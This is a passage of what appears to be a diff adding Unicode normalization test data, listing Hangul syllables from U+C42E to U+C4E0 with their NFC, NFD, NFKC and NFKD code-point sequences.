+{ source: [0xC42E], NFC: [0xC42E], NFD: [0x110A, 0x116C, 0x11A9], NFKC: [0xC42E], NFKD: [0x110A, 0x116C, 0x11A9] },
+{ source: [0xC42F], NFC: [0xC42F], NFD: [0x110A, 0x116C, 0x11AA], NFKC: [0xC42F], NFKD: [0x110A, 0x116C, 0x11AA] },
+{ source: [0xC430], NFC: [0xC430], NFD: [0x110A, 0x116C, 0x11AB], NFKC: [0xC430], NFKD: [0x110A, 0x116C, 0x11AB] },
+{ source: [0xC431], NFC: [0xC431], NFD: [0x110A, 0x116C, 0x11AC], NFKC: [0xC431], NFKD: [0x110A, 0x116C, 0x11AC] },
+{ source: [0xC432], NFC: [0xC432], NFD: [0x110A, 0x116C, 0x11AD], NFKC: [0xC432], NFKD: [0x110A, 0x116C, 0x11AD] },
+{ source: [0xC433], NFC: [0xC433], NFD: [0x110A, 0x116C, 0x11AE], NFKC: [0xC433], NFKD: [0x110A, 0x116C, 0x11AE] },
+{ source: [0xC434], NFC: [0xC434], NFD: [0x110A, 0x116C, 0x11AF], NFKC: [0xC434], NFKD: [0x110A, 0x116C, 0x11AF] },
+{ source: [0xC435], NFC: [0xC435], NFD: [0x110A, 0x116C, 0x11B0], NFKC: [0xC435], NFKD: [0x110A, 0x116C, 0x11B0] },
+{ source: [0xC436], NFC: [0xC436], NFD: [0x110A, 0x116C, 0x11B1], NFKC: [0xC436], NFKD: [0x110A, 0x116C, 0x11B1] },
+{ source: [0xC437], NFC: [0xC437], NFD: [0x110A, 0x116C, 0x11B2], NFKC: [0xC437], NFKD: [0x110A, 0x116C, 0x11B2] },
+{ source: [0xC438], NFC: [0xC438], NFD: [0x110A, 0x116C, 0x11B3], NFKC: [0xC438], NFKD: [0x110A, 0x116C, 0x11B3] },
+{ source: [0xC439], NFC: [0xC439], NFD: [0x110A, 0x116C, 0x11B4], NFKC: [0xC439], NFKD: [0x110A, 0x116C, 0x11B4] },
+{ source: [0xC43A], NFC: [0xC43A], NFD: [0x110A, 0x116C, 0x11B5], NFKC: [0xC43A], NFKD: [0x110A, 0x116C, 0x11B5] },
+{ source: [0xC43B], NFC: [0xC43B], NFD: [0x110A, 0x116C, 0x11B6], NFKC: [0xC43B], NFKD: [0x110A, 0x116C, 0x11B6] },
+{ source: [0xC43C], NFC: [0xC43C], NFD: [0x110A, 0x116C, 0x11B7], NFKC: [0xC43C], NFKD: [0x110A, 0x116C, 0x11B7] },
+{ source: [0xC43D], NFC: [0xC43D], NFD: [0x110A, 0x116C, 0x11B8], NFKC: [0xC43D], NFKD: [0x110A, 0x116C, 0x11B8] },
+{ source: [0xC43E], NFC: [0xC43E], NFD: [0x110A, 0x116C, 0x11B9], NFKC: [0xC43E], NFKD: [0x110A, 0x116C, 0x11B9] },
+{ source: [0xC43F], NFC: [0xC43F], NFD: [0x110A, 0x116C, 0x11BA], NFKC: [0xC43F], NFKD: [0x110A, 0x116C, 0x11BA] },
+{ source: [0xC440], NFC: [0xC440], NFD: [0x110A, 0x116C, 0x11BB], NFKC: [0xC440], NFKD: [0x110A, 0x116C, 0x11BB] },
+{ source: [0xC441], NFC: [0xC441], NFD: [0x110A, 0x116C, 0x11BC], NFKC: [0xC441], NFKD: [0x110A, 0x116C, 0x11BC] },
+{ source: [0xC442], NFC: [0xC442], NFD: [0x110A, 0x116C, 0x11BD], NFKC: [0xC442], NFKD: [0x110A, 0x116C, 0x11BD] },
+{ source: [0xC443], NFC: [0xC443], NFD: [0x110A, 0x116C, 0x11BE], NFKC: [0xC443], NFKD: [0x110A, 0x116C, 0x11BE] },
+{ source: [0xC444], NFC: [0xC444], NFD: [0x110A, 0x116C, 0x11BF], NFKC: [0xC444], NFKD: [0x110A, 0x116C, 0x11BF] },
+{ source: [0xC445], NFC: [0xC445], NFD: [0x110A, 0x116C, 0x11C0], NFKC: [0xC445], NFKD: [0x110A, 0x116C, 0x11C0] },
+{ source: [0xC446], NFC: [0xC446], NFD: [0x110A, 0x116C, 0x11C1], NFKC: [0xC446], NFKD: [0x110A, 0x116C, 0x11C1] },
+{ source: [0xC447], NFC: [0xC447], NFD: [0x110A, 0x116C, 0x11C2], NFKC: [0xC447], NFKD: [0x110A, 0x116C, 0x11C2] },
+{ source: [0xC448], NFC: [0xC448], NFD: [0x110A, 0x116D], NFKC: [0xC448], NFKD: [0x110A, 0x116D] },
+{ source: [0xC449], NFC: [0xC449], NFD: [0x110A, 0x116D, 0x11A8], NFKC: [0xC449], NFKD: [0x110A, 0x116D, 0x11A8] },
+{ source: [0xC44A], NFC: [0xC44A], NFD: [0x110A, 0x116D, 0x11A9], NFKC: [0xC44A], NFKD: [0x110A, 0x116D, 0x11A9] },
+{ source: [0xC44B], NFC: [0xC44B], NFD: [0x110A, 0x116D, 0x11AA], NFKC: [0xC44B], NFKD: [0x110A, 0x116D, 0x11AA] },
+{ source: [0xC44C], NFC: [0xC44C], NFD: [0x110A, 0x116D, 0x11AB], NFKC: [0xC44C], NFKD: [0x110A, 0x116D, 0x11AB] },
+{ source: [0xC44D], NFC: [0xC44D], NFD: [0x110A, 0x116D, 0x11AC], NFKC: [0xC44D], NFKD: [0x110A, 0x116D, 0x11AC] },
+{ source: [0xC44E], NFC: [0xC44E], NFD: [0x110A, 0x116D, 0x11AD], NFKC: [0xC44E], NFKD: [0x110A, 0x116D, 0x11AD] },
+{ source: [0xC44F], NFC: [0xC44F], NFD: [0x110A, 0x116D, 0x11AE], NFKC: [0xC44F], NFKD: [0x110A, 0x116D, 0x11AE] },
+{ source: [0xC450], NFC: [0xC450], NFD: [0x110A, 0x116D, 0x11AF], NFKC: [0xC450], NFKD: [0x110A, 0x116D, 0x11AF] },
+{ source: [0xC451], NFC: [0xC451], NFD: [0x110A, 0x116D, 0x11B0], NFKC: [0xC451], NFKD: [0x110A, 0x116D, 0x11B0] },
+{ source: [0xC452], NFC: [0xC452], NFD: [0x110A, 0x116D, 0x11B1], NFKC: [0xC452], NFKD: [0x110A, 0x116D, 0x11B1] },
+{ source: [0xC453], NFC: [0xC453], NFD: [0x110A, 0x116D, 0x11B2], NFKC: [0xC453], NFKD: [0x110A, 0x116D, 0x11B2] },
+{ source: [0xC454], NFC: [0xC454], NFD: [0x110A, 0x116D, 0x11B3], NFKC: [0xC454], NFKD: [0x110A, 0x116D, 0x11B3] },
+{ source: [0xC455], NFC: [0xC455], NFD: [0x110A, 0x116D, 0x11B4], NFKC: [0xC455], NFKD: [0x110A, 0x116D, 0x11B4] },
+{ source: [0xC456], NFC: [0xC456], NFD: [0x110A, 0x116D, 0x11B5], NFKC: [0xC456], NFKD: [0x110A, 0x116D, 0x11B5] },
+{ source: [0xC457], NFC: [0xC457], NFD: [0x110A, 0x116D, 0x11B6], NFKC: [0xC457], NFKD: [0x110A, 0x116D, 0x11B6] },
+{ source: [0xC458], NFC: [0xC458], NFD: [0x110A, 0x116D, 0x11B7], NFKC: [0xC458], NFKD: [0x110A, 0x116D, 0x11B7] },
+{ source: [0xC459], NFC: [0xC459], NFD: [0x110A, 0x116D, 0x11B8], NFKC: [0xC459], NFKD: [0x110A, 0x116D, 0x11B8] },
+{ source: [0xC45A], NFC: [0xC45A], NFD: [0x110A, 0x116D, 0x11B9], NFKC: [0xC45A], NFKD: [0x110A, 0x116D, 0x11B9] },
+{ source: [0xC45B], NFC: [0xC45B], NFD: [0x110A, 0x116D, 0x11BA], NFKC: [0xC45B], NFKD: [0x110A, 0x116D, 0x11BA] },
+{ source: [0xC45C], NFC: [0xC45C], NFD: [0x110A, 0x116D, 0x11BB], NFKC: [0xC45C], NFKD: [0x110A, 0x116D, 0x11BB] },
+{ source: [0xC45D], NFC: [0xC45D], NFD: [0x110A, 0x116D, 0x11BC], NFKC: [0xC45D], NFKD: [0x110A, 0x116D, 0x11BC] },
+{ source: [0xC45E], NFC: [0xC45E], NFD: [0x110A, 0x116D, 0x11BD], NFKC: [0xC45E], NFKD: [0x110A, 0x116D, 0x11BD] },
+{ source: [0xC45F], NFC: [0xC45F], NFD: [0x110A, 0x116D, 0x11BE], NFKC: [0xC45F], NFKD: [0x110A, 0x116D, 0x11BE] },
+{ source: [0xC460], NFC: [0xC460], NFD: [0x110A, 0x116D, 0x11BF], NFKC: [0xC460], NFKD: [0x110A, 0x116D, 0x11BF] },
+{ source: [0xC461], NFC: [0xC461], NFD: [0x110A, 0x116D, 0x11C0], NFKC: [0xC461], NFKD: [0x110A, 0x116D, 0x11C0] },
+{ source: [0xC462], NFC: [0xC462], NFD: [0x110A, 0x116D, 0x11C1], NFKC: [0xC462], NFKD: [0x110A, 0x116D, 0x11C1] },
+{ source: [0xC463], NFC: [0xC463], NFD: [0x110A, 0x116D, 0x11C2], NFKC: [0xC463], NFKD: [0x110A, 0x116D, 0x11C2] },
+{ source: [0xC464], NFC: [0xC464], NFD: [0x110A, 0x116E], NFKC: [0xC464], NFKD: [0x110A, 0x116E] },
+{ source: [0xC465], NFC: [0xC465], NFD: [0x110A, 0x116E, 0x11A8], NFKC: [0xC465], NFKD: [0x110A, 0x116E, 0x11A8] },
+{ source: [0xC466], NFC: [0xC466], NFD: [0x110A, 0x116E, 0x11A9], NFKC: [0xC466], NFKD: [0x110A, 0x116E, 0x11A9] },
+{ source: [0xC467], NFC: [0xC467], NFD: [0x110A, 0x116E, 0x11AA], NFKC: [0xC467], NFKD: [0x110A, 0x116E, 0x11AA] },
+{ source: [0xC468], NFC: [0xC468], NFD: [0x110A, 0x116E, 0x11AB], NFKC: [0xC468], NFKD: [0x110A, 0x116E, 0x11AB] },
+{ source: [0xC469], NFC: [0xC469], NFD: [0x110A, 0x116E, 0x11AC], NFKC: [0xC469], NFKD: [0x110A, 0x116E, 0x11AC] },
+{ source: [0xC46A], NFC: [0xC46A], NFD: [0x110A, 0x116E, 0x11AD], NFKC: [0xC46A], NFKD: [0x110A, 0x116E, 0x11AD] },
+{ source: [0xC46B], NFC: [0xC46B], NFD: [0x110A, 0x116E, 0x11AE], NFKC: [0xC46B], NFKD: [0x110A, 0x116E, 0x11AE] },
+{ source: [0xC46C], NFC: [0xC46C], NFD: [0x110A, 0x116E, 0x11AF], NFKC: [0xC46C], NFKD: [0x110A, 0x116E, 0x11AF] },
+{ source: [0xC46D], NFC: [0xC46D], NFD: [0x110A, 0x116E, 0x11B0], NFKC: [0xC46D], NFKD: [0x110A, 0x116E, 0x11B0] },
+{ source: [0xC46E], NFC: [0xC46E], NFD: [0x110A, 0x116E, 0x11B1], NFKC: [0xC46E], NFKD: [0x110A, 0x116E, 0x11B1] },
+{ source: [0xC46F], NFC: [0xC46F], NFD: [0x110A, 0x116E, 0x11B2], NFKC: [0xC46F], NFKD: [0x110A, 0x116E, 0x11B2] },
+{ source: [0xC470], NFC: [0xC470], NFD: [0x110A, 0x116E, 0x11B3], NFKC: [0xC470], NFKD: [0x110A, 0x116E, 0x11B3] },
+{ source: [0xC471], NFC: [0xC471], NFD: [0x110A, 0x116E, 0x11B4], NFKC: [0xC471], NFKD: [0x110A, 0x116E, 0x11B4] },
+{ source: [0xC472], NFC: [0xC472], NFD: [0x110A, 0x116E, 0x11B5], NFKC: [0xC472], NFKD: [0x110A, 0x116E, 0x11B5] },
+{ source: [0xC473], NFC: [0xC473], NFD: [0x110A, 0x116E, 0x11B6], NFKC: [0xC473], NFKD: [0x110A, 0x116E, 0x11B6] },
+{ source: [0xC474], NFC: [0xC474], NFD: [0x110A, 0x116E, 0x11B7], NFKC: [0xC474], NFKD: [0x110A, 0x116E, 0x11B7] },
+{ source: [0xC475], NFC: [0xC475], NFD: [0x110A, 0x116E, 0x11B8], NFKC: [0xC475], NFKD: [0x110A, 0x116E, 0x11B8] },
+{ source: [0xC476], NFC: [0xC476], NFD: [0x110A, 0x116E, 0x11B9], NFKC: [0xC476], NFKD: [0x110A, 0x116E, 0x11B9] },
+{ source: [0xC477], NFC: [0xC477], NFD: [0x110A, 0x116E, 0x11BA], NFKC: [0xC477], NFKD: [0x110A, 0x116E, 0x11BA] },
+{ source: [0xC478], NFC: [0xC478], NFD: [0x110A, 0x116E, 0x11BB], NFKC: [0xC478], NFKD: [0x110A, 0x116E, 0x11BB] },
+{ source: [0xC479], NFC: [0xC479], NFD: [0x110A, 0x116E, 0x11BC], NFKC: [0xC479], NFKD: [0x110A, 0x116E, 0x11BC] },
+{ source: [0xC47A], NFC: [0xC47A], NFD: [0x110A, 0x116E, 0x11BD], NFKC: [0xC47A], NFKD: [0x110A, 0x116E, 0x11BD] },
+{ source: [0xC47B], NFC: [0xC47B], NFD: [0x110A, 0x116E, 0x11BE], NFKC: [0xC47B], NFKD: [0x110A, 0x116E, 0x11BE] },
+{ source: [0xC47C], NFC: [0xC47C], NFD: [0x110A, 0x116E, 0x11BF], NFKC: [0xC47C], NFKD: [0x110A, 0x116E, 0x11BF] },
+{ source: [0xC47D], NFC: [0xC47D], NFD: [0x110A, 0x116E, 0x11C0], NFKC: [0xC47D], NFKD: [0x110A, 0x116E, 0x11C0] },
+{ source: [0xC47E], NFC: [0xC47E], NFD: [0x110A, 0x116E, 0x11C1], NFKC: [0xC47E], NFKD: [0x110A, 0x116E, 0x11C1] },
+{ source: [0xC47F], NFC: [0xC47F], NFD: [0x110A, 0x116E, 0x11C2], NFKC: [0xC47F], NFKD: [0x110A, 0x116E, 0x11C2] },
+{ source: [0xC480], NFC: [0xC480], NFD: [0x110A, 0x116F], NFKC: [0xC480], NFKD: [0x110A, 0x116F] },
+{ source: [0xC481], NFC: [0xC481], NFD: [0x110A, 0x116F, 0x11A8], NFKC: [0xC481], NFKD: [0x110A, 0x116F, 0x11A8] },
+{ source: [0xC482], NFC: [0xC482], NFD: [0x110A, 0x116F, 0x11A9], NFKC: [0xC482], NFKD: [0x110A, 0x116F, 0x11A9] },
+{ source: [0xC483], NFC: [0xC483], NFD: [0x110A, 0x116F, 0x11AA], NFKC: [0xC483], NFKD: [0x110A, 0x116F, 0x11AA] },
+{ source: [0xC484], NFC: [0xC484], NFD: [0x110A, 0x116F, 0x11AB], NFKC: [0xC484], NFKD: [0x110A, 0x116F, 0x11AB] },
+{ source: [0xC485], NFC: [0xC485], NFD: [0x110A, 0x116F, 0x11AC], NFKC: [0xC485], NFKD: [0x110A, 0x116F, 0x11AC] },
+{ source: [0xC486], NFC: [0xC486], NFD: [0x110A, 0x116F, 0x11AD], NFKC: [0xC486], NFKD: [0x110A, 0x116F, 0x11AD] },
+{ source: [0xC487], NFC: [0xC487], NFD: [0x110A, 0x116F, 0x11AE], NFKC: [0xC487], NFKD: [0x110A, 0x116F, 0x11AE] },
+{ source: [0xC488], NFC: [0xC488], NFD: [0x110A, 0x116F, 0x11AF], NFKC: [0xC488], NFKD: [0x110A, 0x116F, 0x11AF] },
+{ source: [0xC489], NFC: [0xC489], NFD: [0x110A, 0x116F, 0x11B0], NFKC: [0xC489], NFKD: [0x110A, 0x116F, 0x11B0] },
+{ source: [0xC48A], NFC: [0xC48A], NFD: [0x110A, 0x116F, 0x11B1], NFKC: [0xC48A], NFKD: [0x110A, 0x116F, 0x11B1] },
+{ source: [0xC48B], NFC: [0xC48B], NFD: [0x110A, 0x116F, 0x11B2], NFKC: [0xC48B], NFKD: [0x110A, 0x116F, 0x11B2] },
+{ source: [0xC48C], NFC: [0xC48C], NFD: [0x110A, 0x116F, 0x11B3], NFKC: [0xC48C], NFKD: [0x110A, 0x116F, 0x11B3] },
+{ source: [0xC48D], NFC: [0xC48D], NFD: [0x110A, 0x116F, 0x11B4], NFKC: [0xC48D], NFKD: [0x110A, 0x116F, 0x11B4] },
+{ source: [0xC48E], NFC: [0xC48E], NFD: [0x110A, 0x116F, 0x11B5], NFKC: [0xC48E], NFKD: [0x110A, 0x116F, 0x11B5] },
+{ source: [0xC48F], NFC: [0xC48F], NFD: [0x110A, 0x116F, 0x11B6], NFKC: [0xC48F], NFKD: [0x110A, 0x116F, 0x11B6] },
+{ source: [0xC490], NFC: [0xC490], NFD: [0x110A, 0x116F, 0x11B7], NFKC: [0xC490], NFKD: [0x110A, 0x116F, 0x11B7] },
+{ source: [0xC491], NFC: [0xC491], NFD: [0x110A, 0x116F, 0x11B8], NFKC: [0xC491], NFKD: [0x110A, 0x116F, 0x11B8] },
+{ source: [0xC492], NFC: [0xC492], NFD: [0x110A, 0x116F, 0x11B9], NFKC: [0xC492], NFKD: [0x110A, 0x116F, 0x11B9] },
+{ source: [0xC493], NFC: [0xC493], NFD: [0x110A, 0x116F, 0x11BA], NFKC: [0xC493], NFKD: [0x110A, 0x116F, 0x11BA] },
+{ source: [0xC494], NFC: [0xC494], NFD: [0x110A, 0x116F, 0x11BB], NFKC: [0xC494], NFKD: [0x110A, 0x116F, 0x11BB] },
+{ source: [0xC495], NFC: [0xC495], NFD: [0x110A, 0x116F, 0x11BC], NFKC: [0xC495], NFKD: [0x110A, 0x116F, 0x11BC] },
+{ source: [0xC496], NFC: [0xC496], NFD: [0x110A, 0x116F, 0x11BD], NFKC: [0xC496], NFKD: [0x110A, 0x116F, 0x11BD] },
+{ source: [0xC497], NFC: [0xC497], NFD: [0x110A, 0x116F, 0x11BE], NFKC: [0xC497], NFKD: [0x110A, 0x116F, 0x11BE] },
+{ source: [0xC498], NFC: [0xC498], NFD: [0x110A, 0x116F, 0x11BF], NFKC: [0xC498], NFKD: [0x110A, 0x116F, 0x11BF] },
+{ source: [0xC499], NFC: [0xC499], NFD: [0x110A, 0x116F, 0x11C0], NFKC: [0xC499], NFKD: [0x110A, 0x116F, 0x11C0] },
+{ source: [0xC49A], NFC: [0xC49A], NFD: [0x110A, 0x116F, 0x11C1], NFKC: [0xC49A], NFKD: [0x110A, 0x116F, 0x11C1] },
+{ source: [0xC49B], NFC: [0xC49B], NFD: [0x110A, 0x116F, 0x11C2], NFKC: [0xC49B], NFKD: [0x110A, 0x116F, 0x11C2] },
+{ source: [0xC49C], NFC: [0xC49C], NFD: [0x110A, 0x1170], NFKC: [0xC49C], NFKD: [0x110A, 0x1170] },
+{ source: [0xC49D], NFC: [0xC49D], NFD: [0x110A, 0x1170, 0x11A8], NFKC: [0xC49D], NFKD: [0x110A, 0x1170, 0x11A8] },
+{ source: [0xC49E], NFC: [0xC49E], NFD: [0x110A, 0x1170, 0x11A9], NFKC: [0xC49E], NFKD: [0x110A, 0x1170, 0x11A9] },
+{ source: [0xC49F], NFC: [0xC49F], NFD: [0x110A, 0x1170, 0x11AA], NFKC: [0xC49F], NFKD: [0x110A, 0x1170, 0x11AA] },
+{ source: [0xC4A0], NFC: [0xC4A0], NFD: [0x110A, 0x1170, 0x11AB], NFKC: [0xC4A0], NFKD: [0x110A, 0x1170, 0x11AB] },
+{ source: [0xC4A1], NFC: [0xC4A1], NFD: [0x110A, 0x1170, 0x11AC], NFKC: [0xC4A1], NFKD: [0x110A, 0x1170, 0x11AC] },
+{ source: [0xC4A2], NFC: [0xC4A2], NFD: [0x110A, 0x1170, 0x11AD], NFKC: [0xC4A2], NFKD: [0x110A, 0x1170, 0x11AD] },
+{ source: [0xC4A3], NFC: [0xC4A3], NFD: [0x110A, 0x1170, 0x11AE], NFKC: [0xC4A3], NFKD: [0x110A, 0x1170, 0x11AE] },
+{ source: [0xC4A4], NFC: [0xC4A4], NFD: [0x110A, 0x1170, 0x11AF], NFKC: [0xC4A4], NFKD: [0x110A, 0x1170, 0x11AF] },
+{ source: [0xC4A5], NFC: [0xC4A5], NFD: [0x110A, 0x1170, 0x11B0], NFKC: [0xC4A5], NFKD: [0x110A, 0x1170, 0x11B0] },
+{ source: [0xC4A6], NFC: [0xC4A6], NFD: [0x110A, 0x1170, 0x11B1], NFKC: [0xC4A6], NFKD: [0x110A, 0x1170, 0x11B1] },
+{ source: [0xC4A7], NFC: [0xC4A7], NFD: [0x110A, 0x1170, 0x11B2], NFKC: [0xC4A7], NFKD: [0x110A, 0x1170, 0x11B2] },
+{ source: [0xC4A8], NFC: [0xC4A8], NFD: [0x110A, 0x1170, 0x11B3], NFKC: [0xC4A8], NFKD: [0x110A, 0x1170, 0x11B3] },
+{ source: [0xC4A9], NFC: [0xC4A9], NFD: [0x110A, 0x1170, 0x11B4], NFKC: [0xC4A9], NFKD: [0x110A, 0x1170, 0x11B4] },
+{ source: [0xC4AA], NFC: [0xC4AA], NFD: [0x110A, 0x1170, 0x11B5], NFKC: [0xC4AA], NFKD: [0x110A, 0x1170, 0x11B5] },
+{ source: [0xC4AB], NFC: [0xC4AB], NFD: [0x110A, 0x1170, 0x11B6], NFKC: [0xC4AB], NFKD: [0x110A, 0x1170, 0x11B6] },
+{ source: [0xC4AC], NFC: [0xC4AC], NFD: [0x110A, 0x1170, 0x11B7], NFKC: [0xC4AC], NFKD: [0x110A, 0x1170, 0x11B7] },
+{ source: [0xC4AD], NFC: [0xC4AD], NFD: [0x110A, 0x1170, 0x11B8], NFKC: [0xC4AD], NFKD: [0x110A, 0x1170, 0x11B8] },
+{ source: [0xC4AE], NFC: [0xC4AE], NFD: [0x110A, 0x1170, 0x11B9], NFKC: [0xC4AE], NFKD: [0x110A, 0x1170, 0x11B9] },
+{ source: [0xC4AF], NFC: [0xC4AF], NFD: [0x110A, 0x1170, 0x11BA], NFKC: [0xC4AF], NFKD: [0x110A, 0x1170, 0x11BA] },
+{ source: [0xC4B0], NFC: [0xC4B0], NFD: [0x110A, 0x1170, 0x11BB], NFKC: [0xC4B0], NFKD: [0x110A, 0x1170, 0x11BB] },
+{ source: [0xC4B1], NFC: [0xC4B1], NFD: [0x110A, 0x1170, 0x11BC], NFKC: [0xC4B1], NFKD: [0x110A, 0x1170, 0x11BC] },
+{ source: [0xC4B2], NFC: [0xC4B2], NFD: [0x110A, 0x1170, 0x11BD], NFKC: [0xC4B2], NFKD: [0x110A, 0x1170, 0x11BD] },
+{ source: [0xC4B3], NFC: [0xC4B3], NFD: [0x110A, 0x1170, 0x11BE], NFKC: [0xC4B3], NFKD: [0x110A, 0x1170, 0x11BE] },
+{ source: [0xC4B4], NFC: [0xC4B4], NFD: [0x110A, 0x1170, 0x11BF], NFKC: [0xC4B4], NFKD: [0x110A, 0x1170, 0x11BF] },
+{ source: [0xC4B5], NFC: [0xC4B5], NFD: [0x110A, 0x1170, 0x11C0], NFKC: [0xC4B5], NFKD: [0x110A, 0x1170, 0x11C0] },
+{ source: [0xC4B6], NFC: [0xC4B6], NFD: [0x110A, 0x1170, 0x11C1], NFKC: [0xC4B6], NFKD: [0x110A, 0x1170, 0x11C1] },
+{ source: [0xC4B7], NFC: [0xC4B7], NFD: [0x110A, 0x1170, 0x11C2], NFKC: [0xC4B7], NFKD: [0x110A, 0x1170, 0x11C2] },
+{ source: [0xC4B8], NFC: [0xC4B8], NFD: [0x110A, 0x1171], NFKC: [0xC4B8], NFKD: [0x110A, 0x1171] },
+{ source: [0xC4B9], NFC: [0xC4B9], NFD: [0x110A, 0x1171, 0x11A8], NFKC: [0xC4B9], NFKD: [0x110A, 0x1171, 0x11A8] },
+{ source: [0xC4BA], NFC: [0xC4BA], NFD: [0x110A, 0x1171, 0x11A9], NFKC: [0xC4BA], NFKD: [0x110A, 0x1171, 0x11A9] },
+{ source: [0xC4BB], NFC: [0xC4BB], NFD: [0x110A, 0x1171, 0x11AA], NFKC: [0xC4BB], NFKD: [0x110A, 0x1171, 0x11AA] },
+{ source: [0xC4BC], NFC: [0xC4BC], NFD: [0x110A, 0x1171, 0x11AB], NFKC: [0xC4BC], NFKD: [0x110A, 0x1171, 0x11AB] },
+{ source: [0xC4BD], NFC: [0xC4BD], NFD: [0x110A, 0x1171, 0x11AC], NFKC: [0xC4BD], NFKD: [0x110A, 0x1171, 0x11AC] },
+{ source: [0xC4BE], NFC: [0xC4BE], NFD: [0x110A, 0x1171, 0x11AD], NFKC: [0xC4BE], NFKD: [0x110A, 0x1171, 0x11AD] },
+{ source: [0xC4BF], NFC: [0xC4BF], NFD: [0x110A, 0x1171, 0x11AE], NFKC: [0xC4BF], NFKD: [0x110A, 0x1171, 0x11AE] },
+{ source: [0xC4C0], NFC: [0xC4C0], NFD: [0x110A, 0x1171, 0x11AF], NFKC: [0xC4C0], NFKD: [0x110A, 0x1171, 0x11AF] },
+{ source: [0xC4C1], NFC: [0xC4C1], NFD: [0x110A, 0x1171, 0x11B0], NFKC: [0xC4C1], NFKD: [0x110A, 0x1171, 0x11B0] },
+{ source: [0xC4C2], NFC: [0xC4C2], NFD: [0x110A, 0x1171, 0x11B1], NFKC: [0xC4C2], NFKD: [0x110A, 0x1171, 0x11B1] },
+{ source: [0xC4C3], NFC: [0xC4C3], NFD: [0x110A, 0x1171, 0x11B2], NFKC: [0xC4C3], NFKD: [0x110A, 0x1171, 0x11B2] },
+{ source: [0xC4C4], NFC: [0xC4C4], NFD: [0x110A, 0x1171, 0x11B3], NFKC: [0xC4C4], NFKD: [0x110A, 0x1171, 0x11B3] },
+{ source: [0xC4C5], NFC: [0xC4C5], NFD: [0x110A, 0x1171, 0x11B4], NFKC: [0xC4C5], NFKD: [0x110A, 0x1171, 0x11B4] },
+{ source: [0xC4C6], NFC: [0xC4C6], NFD: [0x110A, 0x1171, 0x11B5], NFKC: [0xC4C6], NFKD: [0x110A, 0x1171, 0x11B5] },
+{ source: [0xC4C7], NFC: [0xC4C7], NFD: [0x110A, 0x1171, 0x11B6], NFKC: [0xC4C7], NFKD: [0x110A, 0x1171, 0x11B6] },
+{ source: [0xC4C8], NFC: [0xC4C8], NFD: [0x110A, 0x1171, 0x11B7], NFKC: [0xC4C8], NFKD: [0x110A, 0x1171, 0x11B7] },
+{ source: [0xC4C9], NFC: [0xC4C9], NFD: [0x110A, 0x1171, 0x11B8], NFKC: [0xC4C9], NFKD: [0x110A, 0x1171, 0x11B8] },
+{ source: [0xC4CA], NFC: [0xC4CA], NFD: [0x110A, 0x1171, 0x11B9], NFKC: [0xC4CA], NFKD: [0x110A, 0x1171, 0x11B9] },
+{ source: [0xC4CB], NFC: [0xC4CB], NFD: [0x110A, 0x1171, 0x11BA], NFKC: [0xC4CB], NFKD: [0x110A, 0x1171, 0x11BA] },
+{ source: [0xC4CC], NFC: [0xC4CC], NFD: [0x110A, 0x1171, 0x11BB], NFKC: [0xC4CC], NFKD: [0x110A, 0x1171, 0x11BB] },
+{ source: [0xC4CD], NFC: [0xC4CD], NFD: [0x110A, 0x1171, 0x11BC], NFKC: [0xC4CD], NFKD: [0x110A, 0x1171, 0x11BC] },
+{ source: [0xC4CE], NFC: [0xC4CE], NFD: [0x110A, 0x1171, 0x11BD], NFKC: [0xC4CE], NFKD: [0x110A, 0x1171, 0x11BD] },
+{ source: [0xC4CF], NFC: [0xC4CF], NFD: [0x110A, 0x1171, 0x11BE], NFKC: [0xC4CF], NFKD: [0x110A, 0x1171, 0x11BE] },
+{ source: [0xC4D0], NFC: [0xC4D0], NFD: [0x110A, 0x1171, 0x11BF], NFKC: [0xC4D0], NFKD: [0x110A, 0x1171, 0x11BF] },
+{ source: [0xC4D1], NFC: [0xC4D1], NFD: [0x110A, 0x1171, 0x11C0], NFKC: [0xC4D1], NFKD: [0x110A, 0x1171, 0x11C0] },
+{ source: [0xC4D2], NFC: [0xC4D2], NFD: [0x110A, 0x1171, 0x11C1], NFKC: [0xC4D2], NFKD: [0x110A, 0x1171, 0x11C1] },
+{ source: [0xC4D3], NFC: [0xC4D3], NFD: [0x110A, 0x1171, 0x11C2], NFKC: [0xC4D3], NFKD: [0x110A, 0x1171, 0x11C2] },
+{ source: [0xC4D4], NFC: [0xC4D4], NFD: [0x110A, 0x1172], NFKC: [0xC4D4], NFKD: [0x110A, 0x1172] },
+{ source: [0xC4D5], NFC: [0xC4D5], NFD: [0x110A, 0x1172, 0x11A8], NFKC: [0xC4D5], NFKD: [0x110A, 0x1172, 0x11A8] },
+{ source: [0xC4D6], NFC: [0xC4D6], NFD: [0x110A, 0x1172, 0x11A9], NFKC: [0xC4D6], NFKD: [0x110A, 0x1172, 0x11A9] },
+{ source: [0xC4D7], NFC: [0xC4D7], NFD: [0x110A, 0x1172, 0x11AA], NFKC: [0xC4D7], NFKD: [0x110A, 0x1172, 0x11AA] },
+{ source: [0xC4D8], NFC: [0xC4D8], NFD: [0x110A, 0x1172, 0x11AB], NFKC: [0xC4D8], NFKD: [0x110A, 0x1172, 0x11AB] },
+{ source: [0xC4D9], NFC: [0xC4D9], NFD: [0x110A, 0x1172, 0x11AC], NFKC: [0xC4D9], NFKD: [0x110A, 0x1172, 0x11AC] },
+{ source: [0xC4DA], NFC: [0xC4DA], NFD: [0x110A, 0x1172, 0x11AD], NFKC: [0xC4DA], NFKD: [0x110A, 0x1172, 0x11AD] },
+{ source: [0xC4DB], NFC: [0xC4DB], NFD: [0x110A, 0x1172, 0x11AE], NFKC: [0xC4DB], NFKD: [0x110A, 0x1172, 0x11AE] },
+{ source: [0xC4DC], NFC: [0xC4DC], NFD: [0x110A, 0x1172, 0x11AF], NFKC: [0xC4DC], NFKD: [0x110A, 0x1172, 0x11AF] },
+{ source: [0xC4DD], NFC: [0xC4DD], NFD: [0x110A, 0x1172, 0x11B0], NFKC: [0xC4DD], NFKD: [0x110A, 0x1172, 0x11B0] },
+{ source: [0xC4DE], NFC: [0xC4DE], NFD: [0x110A, 0x1172, 0x11B1], NFKC: [0xC4DE], NFKD: [0x110A, 0x1172, 0x11B1] },
+{ source: [0xC4DF], NFC: [0xC4DF], NFD: [0x110A, 0x1172, 0x11B2], NFKC: [0xC4DF], NFKD: [0x110A, 0x1172, 0x11B2] },
+{ source: [0xC4E0], NFC: [0xC4E0], NFD: [0x110A, 0x1172, 0x11B3], NFKC: [0xC4E0], NFKD: [0x110A, 0x1172, 0x11B3] },
